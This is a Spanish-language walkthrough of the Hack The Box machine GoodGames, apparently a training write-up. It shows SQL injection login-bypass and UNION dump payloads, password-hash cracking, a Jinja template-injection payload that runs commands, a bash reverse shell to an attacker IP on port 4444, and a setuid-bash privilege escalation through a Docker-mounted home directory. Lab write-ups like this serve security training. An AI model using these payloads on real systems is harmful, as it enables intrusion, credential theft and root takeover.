# GoodGames

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FOccDDS1nTDKl66AnM2Sa%2FGoodGames.png?alt=media&#x26;token=eb6c5bae-1a35-4dc9-aec3-34419037ad0f" alt=""><figcaption></figcaption></figure>

GoodGames en un CTF de dificultad fácil que podemos encontrar en la plataforma Hack The Box. Tiene vulnerabilidades web básicas. Primero, hay una inyección de SQL que permite tanto omitir el  inicio de sesión como una inyección de unión para volcar datos. La página del administrador muestra un nuevo host virtual que, después de autenticarse con credenciales de la base de datos, tiene una vulnerabilidad de SSTI en el nombre del perfil, lo que permite la ejecución codificada y un shell en un contenedor docker. Desde ese contenedor, encontraré la misma contraseña reutilizada por un usuario en el host y SSH para obtener acceso. En el host, abusaré del directorio de inicio que está montado en el contenedor y la forma en que Linux hace los permisos y la propiedad de los archivos para obtener un shell como root en el host.

### Enumeración

#### NMAP&#x20;

Comenzamos realizando un escaneo rápido de los puertos que tiene abierto la máquina objetivo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FwwIjIgDpDORyR1EWD5Nn%2Fimage.png?alt=media&#x26;token=a3b38050-7ddf-4572-ae66-19361dc5c7e3" alt=""><figcaption></figcaption></figure>

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 10.10.11.130
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FuhrhDBCBKc1QfbKqdQ9m%2Fimage.png?alt=media&#x26;token=e9bdb4fc-12bd-479e-b5fc-3f0dc32eba67" alt=""><figcaption></figcaption></figure>

Unicamente tenemos un puerto abierto. Vamos a realizar un escaneo más profundo.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F2XjjcDs7WtWtRk1wt91x%2Fimage.png?alt=media&#x26;token=c474a099-c85a-41b2-a0d1-a439b36a05ca" alt=""><figcaption></figcaption></figure>

```
nmap -p80 -sV -vv 10.10.11.130
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F0IJ1WSDJpK6crDi06G7a%2Fimage.png?alt=media&#x26;token=608c0dbe-790f-48e2-a441-c4cc6fe86e7a" alt=""><figcaption></figcaption></figure>

Tenemos un puerto 80 donde se está ejecutando un servidor Apache. Este escaneo también nos devuelve un nombre de dominio. Vamos a registrarlo en nuestro archivo /etc/hosts.

```
echo "10.10.11.130 goodgames.htb" >> /etc/hosts
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fw8ptyH9PmOXSCX9SwJet%2Fimage.png?alt=media&#x26;token=602d88eb-f023-46c6-b2af-022ef02c0d2e" alt=""><figcaption></figcaption></figure>

#### Enumeración web

Vamos a acceder al sitio web para ver su contenido y si contiene información que nos permita avanzar en la resolución de la máquina.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fb9iAAlnfMtLugXhPlJsR%2Fimage.png?alt=media&#x26;token=cbf9d160-2b0c-47cb-8c0f-1889282f288b" alt=""><figcaption></figcaption></figure>

Es un sitio web sobre videojuegos. La mayoría de los enlaces en la página solo apuntan a la misma página, pero hay enlaces a "Blog" ( `/blog`) y "Store" ( `/coming-soon`). También existe un formulario de inicio de sesión.&#x20;

### Acceso a Panel de Administrador (con SQLMAP)

Vamos a intentar utilziar dicho Panel de Administrador para iniciar sesión en el sistema. Para ello, introduciremos unas credenciales al azar y capturaremos la petición con Burp Suite.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FldmXLfS1N0nguvTyJTrz%2Fimage.png?alt=media&#x26;token=a065fce6-a6b5-4d1b-ba94-2ccb52772118" alt=""><figcaption></figcaption></figure>

Capturamos la petición y obtenemos la siguiente respuesta.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fuu6WsOq8AdGeR0IKCeP7%2Fimage.png?alt=media&#x26;token=a035c950-1cd6-4379-aa24-0d254453a514" alt=""><figcaption><p>Petición captura con Burp Suite</p></figcaption></figure>

El siguiente paso será guardar está petición en un archivo para poder utilizarlo con SQLMap. El archivo es login.txt.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FmzjS6ivf44b3N49RKjzi%2Fimage.png?alt=media&#x26;token=273ec01c-88c6-49db-a425-68edf9437834" alt=""><figcaption></figcaption></figure>

```
sqlmap -r login.txt --dbs
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FHs6AzUiLGJCoW0NJ17nk%2Fimage.png?alt=media&#x26;token=63896321-cbe6-451a-8b15-0a7e534a6bdb" alt=""><figcaption></figcaption></figure>

El formulario de inicio de sesión es vulnerable a Blind SQLi.&#x20;

Tenemos dos bases de datos

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FqbquAmjs8Q2RWHrjn3nl%2Fimage.png?alt=media&#x26;token=7f1dcc83-9daa-4468-8aac-3aaf081cffe7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FUPkQxw9ZzTAAmcjDobL2%2Fimage.png?alt=media&#x26;token=250524bd-16d7-4af4-a108-486e471cbbd8" alt=""><figcaption><p>Comando para extraer las tablas dentro de una base de datos</p></figcaption></figure>

```
sqlmap -r login.txt -D main --tables
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FHv8mMVuz362bIHmLRQwZ%2Fimage.png?alt=media&#x26;token=d86c5fec-5d27-47d9-a7b4-f9a332d0bd39" alt=""><figcaption></figcaption></figure>

Obtenemos tres tablas como resultado. La que parece más interesante es user. Vamos a ver su contenido.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fd6FKVSCo5IJJKaacLrTR%2Fimage.png?alt=media&#x26;token=73ffd738-cb6c-4978-9007-649dd17fcc6f" alt=""><figcaption><p>Comando para extraer el contenido de la tabla seleccionada.</p></figcaption></figure>

```
sqlmap -r login.txt -D main -T user --dump
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQdOoA5RkKbO1NvSTZLXM%2Fimage.png?alt=media&#x26;token=754d0c97-c1b5-485d-b31c-c7885f016920" alt=""><figcaption><p>Credenciales del usuario admin, contenida en la base de datos.</p></figcaption></figure>

Vamos a crear un archivo con el hash del password de admin para ver si podemos descifrarla.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FtW7ejxjbvIJHcM3haHmf%2Fimage.png?alt=media&#x26;token=a685059d-5d54-4e24-ae69-b35dfdc660a2" alt=""><figcaption></figcaption></figure>

Ahora con Name That Hash vamos a determinar que tipo de hash es.&#x20;

```
name-that-hash --file hash
```

&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FdgJGCJsd1gtIuSSsgLdl%2Fimage.png?alt=media&#x26;token=4a0895dc-eb14-4294-888f-5d9345013a71" alt=""><figcaption></figcaption></figure>

Por norma general, el tipo de hash es el primero que indica en la lista Most Likely. En caso de error, habría que probar con los tipo de hash que nos indica después.&#x20;

El siguiente paso será descifrar el hash con la utilidad hashcat.

```
hashcat -m 0 hash diccionario_contraseñas --show
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FsNuMMK1hHkCjeZi6K0Kz%2Fimage.png?alt=media&#x26;token=ba35ecd9-54dd-4915-b92a-12fafaffdf20" alt=""><figcaption></figcaption></figure>

Obtenemos que la contraseña del usuario admin es superadministrator. Vamos a probar si podemos iniciar sesión con estas credenciales.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FijLp2cmSdkdiLP88Fc9L%2Fimage.png?alt=media&#x26;token=a52c8944-406f-4c17-9e6f-d6d40ebb9167" alt=""><figcaption></figcaption></figure>

### Acceso a Panel de Administrador (SQLi manual)

Anteriormente, hemos aprovechado la presencia de una vulnerabilidad SQLi en el formulario de inicio de sesión para encontrar las credenciales de un usuario administrador. Pero esto lo hemos hecho de manera automatizada. Ahora vamos a realizar la mimsa operación pero de forma manual.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FXPUXdqGk1LrMkznOvpUL%2Fimage.png?alt=media&#x26;token=1f377876-e4c1-4ec3-970d-69c8f0b78e33" alt=""><figcaption><p>Petición capturada</p></figcaption></figure>

Primero vamos a enviar una petición para bypasear el formulario de login.&#x20;

```
email=' union select 1,1,1,1-- -;&password=securiters
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FRniiMOyFHpOFxfIkF6Ds%2Fimage.png?alt=media&#x26;token=92935e0d-0f31-4a6a-9887-8ee9d28a837e" alt=""><figcaption><p>Login correcto. Bypass completo de login.</p></figcaption></figure>

Ahora vamos a seguir extrayendo datos modificando la petición anterior. Vamos a extraer el número de columnas de la base de datos. Después de realizar una serie de pruebas, vemos que la cuarta columna refleja información. Pues vamos a utilizarla para extraer información de interés. &#x20;

```
email=' union select 1,1,1,database()-- -;&password=securiters
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FY9XnU1gK5R1qz18uwhyK%2Fimage.png?alt=media&#x26;token=ee133899-d15c-4d6f-9e7c-4a57edae2e48" alt=""><figcaption></figcaption></figure>

El siguiente paso, vamos a enumerar el nombre de las bases de datos.

```
email=' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -;&password=securiters
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FBDePe9XRJCNfaaKiYdu4%2Fimage.png?alt=media&#x26;token=cedc20b2-7818-400c-a8b9-cf7c7e25ee25" alt=""><figcaption></figcaption></figure>

El siguiente paso será enumerar las tablas que pertenecen a la base de datos main.

```
email=' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -;&password=securiters
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FtAmW4qiDpSuiYxju5AJg%2Fimage.png?alt=media&#x26;token=04c81c16-4972-4895-bb70-e95aaaff154d" alt=""><figcaption></figcaption></figure>

Tenemos tres tablas dentro de la base de datos main. La que más nos interesa para la información que estamos buscando es user.&#x20;

El siguiente paso será enumerar el contenido de la tabla user.&#x20;

```
email=' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='user'-- -;&password=securiters
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQyEpSAt7QNN3iIHu1VNs%2Fimage.png?alt=media&#x26;token=a584141a-4ba1-4ca7-8d46-2e0ceca6eb56" alt=""><figcaption></figcaption></figure>

La tabla user tiene tres columnas: email, password, name. El siguiente paso será extraer la información contenida en esas columnas.&#x20;

```
email=' union select 1,2,3,concat(id,':',email,':',name,':',password) from user-- -;&password=securiters
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F6K9Cug2sRh1d7b4foMsi%2Fimage.png?alt=media&#x26;token=cea9f710-4e8d-4f05-ab00-afa1df70d2cc" alt=""><figcaption></figcaption></figure>

Y finalmente, obtenemos las credenciales del usuario admin pero de manual, mediante peticiones UNION SELECT.&#x20;

En la parte 1 del acceso al Panel de Administrador, desciframos la contraseña con Name That Hash más Hascat. En la parte 2, vamos a hacerlo con John The Ripper.&#x20;

```
john --format=Raw-MD5 password.txt --wordlist=diccionario
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FWL2pJMTiKmWMpIV9tB79%2Fimage.png?alt=media&#x26;token=24ecef6f-a03e-491b-bddf-b5b22b4d72b3" alt=""><figcaption></figcaption></figure>

Ya volveriamos a tener la contraseña de admin (superadministrator) en texto plano.&#x20;

### Panel de Administrador

Una vez introducidas las credenciales en el formulario de inicio de sesión, llegamos al perfil del usuario administrador. Vamos a inspeccionar este panel para buscar posibles puntos vulnerables.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQ3Tq4BeyHEtiVAzpfeIC%2Fimage.png?alt=media&#x26;token=69bd8035-7c4d-4fbe-a316-617bd5161632" alt=""><figcaption></figcaption></figure>

Después de inspeccionar la web del perfil, encontramos est símbolo de settings que nos redirecciona a otra URL con distinto dominio. Lo primero será registra este nuevo dominio en el archivo /etc/hosts.&#x20;

```
echo "10.10.11.130 internal-administration.goodgames.htb" >> /etc/hosts
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FmlwmSdPiVZG4o1MeDTlY%2Fimage.png?alt=media&#x26;token=3b2258f8-267c-4ef9-9707-fdf26acd4862" alt=""><figcaption></figcaption></figure>

Una vez registrado el dominio, vamos a acceder desde el perfil de administrador.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVVpGgcBeAU1yL4QgMMZP%2Fimage.png?alt=media&#x26;token=af177fb4-2623-4cf4-859c-0b1923288b26" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FlT1vU10JlHdG8Fq1SMvn%2Fimage.png?alt=media&#x26;token=7fbb8c03-0bbb-4f98-a834-874283a152c6" alt=""><figcaption></figcaption></figure>

Parece que ahora si hemos encontrado el Panel de Administrador del sitio web. Vamos a inspeccionar el sitio en busca de información o puntos vulnerables interesantes.&#x20;

### Shell a la máquina objetivo

Si analizamos los resultados de la extensión de navegador Wappalyzer, vemos que en el servidor objetivo se está ejecutando Python. Dado que se está ejecutando Python, una falla común que podemos encontrar es SSTI. Para verificar esto, vamos a utilizar el payload común {{ 7 \* 7 }}.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F4Iz90o4aIzz6j3mJ7gaD%2Fimage.png?alt=media&#x26;token=66a3c707-68b7-4e40-be47-350236512096" alt=""><figcaption></figcaption></figure>

El payload se ejecuta en el campo Full Name. Vamos a enviar otro payload común coún para ver que usuario somos en el sistema.&#x20;

```
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FIv0e45Tk0yBOp67Xe5WT%2Fimage.png?alt=media&#x26;token=1a496bc9-f4c4-4eca-97cd-c66462a3e8d8" alt=""><figcaption></figcaption></figure>

Podemos realizar ejecución de comandos, y además, tenemos privilegios root.&#x20;

Vamos a ejecutar el siguiente comando para entablar shell reversa con la máquina objetivo.&#x20;

```
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.16.11/4444 0>&1"').read() }}
```

También debemos iniciar un oyente en la máquina atacante en el puerto 4444.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgWfiv1HXHuvxvgOvrBDm%2Fimage.png?alt=media&#x26;token=95e3dea6-8bf3-47ff-aef2-e7ecd97d098d" alt=""><figcaption><p>Conexión con la máquina víctima</p></figcaption></figure>

Una vez establecida la shell reversa, lo primero que vamos a hacer es cambiar a una shell interactiva.&#x20;

```
script /dev/null -c bash
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fl7rUMEvxQBH1gZOakIzQ%2Fimage.png?alt=media&#x26;token=e668e335-e3a0-4a5e-86db-dd5a26856b4e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FzNfWbC9W9dVJdije5WwQ%2Fimage.png?alt=media&#x26;token=19779e3b-3813-4268-9286-839ac4ca0fcf" alt=""><figcaption></figcaption></figure>

### Acceso al sistema como Augusto

Lo primero que vemos es que somos Root y que el nombre de host es extraño. Además, la IP no es la inicial 10.10.11.130. ¿Estaremos en un Docker?

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FuJA8wmJfxJwteVrSItBd%2Fimage.png?alt=media&#x26;token=85dae457-087d-47b0-9a4c-6691c68e2765" alt=""><figcaption></figcaption></figure>

Vemos un `.dockerenv`en el directorio raíz y nuestra dirección IP es `172.19.0.2.`Es probable que la máquina host tenga una interfaz de red con dirección IP `172.19.0.1`

Vamos a realizar un escaneo de puertos desde el contenedor usando un binario ejecutable de [NMAP](https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap).  Vamos a cargarlo en la máquina objetivo mediante un servidor HTTP con Python.&#x20;

```
python -m http.server 80
```

Y lo cargamos en la máquina víctima de la siguiente manera.

```
wget http://10.10.16.11/nmap 
```

Una vez cargado en la máquina víctima, vamos a realizar un escaneo de puertos.&#x20;

```
./nmap 172.19.0.1
```

Este Docker tiene abiertos los puertos 22 y 80. Vamos a ver que usuarios están disponibles en la máquina objetivo, y con la contraseña encontrada anteriormente, poder salir del Docker.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNYjtCGtPFFxLVwkHDpb9%2Fimage.png?alt=media&#x26;token=92d6bf04-f3b0-43ce-8f86-9ff47f2e01b3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FC5XotVxe0lqJi93MMuHw%2Fimage.png?alt=media&#x26;token=3091ff5e-06f8-4714-b11a-0a99ab284a57" alt=""><figcaption><p>augustus es un usuario del sistema.</p></figcaption></figure>

El siguiente paso será probar la conexión mediante SSH (desde la terminal Docker) con el usuario encontrado y la contraseña "superadministrador".

```
ssh augustus@172.19.0.1
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fo8XyEZfVryQujo6yTVUN%2Fimage.png?alt=media&#x26;token=a535e276-8116-4911-a05f-4f990a81bc82" alt=""><figcaption></figcaption></figure>

Ahora ya podemos encontrar la flag user.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FsUZS4VcvCmtAeFrWb3eF%2Fimage.png?alt=media&#x26;token=b28308ff-9a56-4c1a-9832-cd2a0ed47e60" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Después de revisar la máquina, no encontramos ninguna forma de ganar privilegios. Recordemos que el usuario augustus estaba montado en el Docker y que allí tenemos privilegios. Vamos a intentar utilizar esto para elevar privilegios.&#x20;

Vamos a copiar el archivo /bin/bash al directorio de augustus.&#x20;

```
cp /bin/bash .
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FvkG2FTxGZpsw6W6CInoH%2Fimage.png?alt=media&#x26;token=56d2812e-5625-44a5-ba83-40e9f939e762" alt=""><figcaption></figcaption></figure>

Ahora volvemos al Docker para cambiar los privilegios de este archivo.&#x20;

```
chown root. bash
chmod 4777 bash
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F3E8yeP6IK6ChwYkJ20bV%2Fimage.png?alt=media&#x26;token=71fb3640-1d11-4ab9-a4d0-61eedca47f67" alt=""><figcaption></figcaption></figure>

Ahora volvemos a la terminal del usuario augustus, ejecutamos el archivo modificado y vemos si elevamos privilegios. Tenemos privilegios de usuario root y además, encontramos la flag que nos faltaba.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNbSjaEuvUftXnHhvfs9R%2Fimage.png?alt=media&#x26;token=daccb9e3-45ee-4999-8792-cdfb42f25d3a" alt=""><figcaption></figcaption></figure>

Y ya tendriamos acabado el CTF GoodGames.&#x20;

{% embed url="<https://www.youtube.com/watch?v=yxqGFNUvH7A>" %}
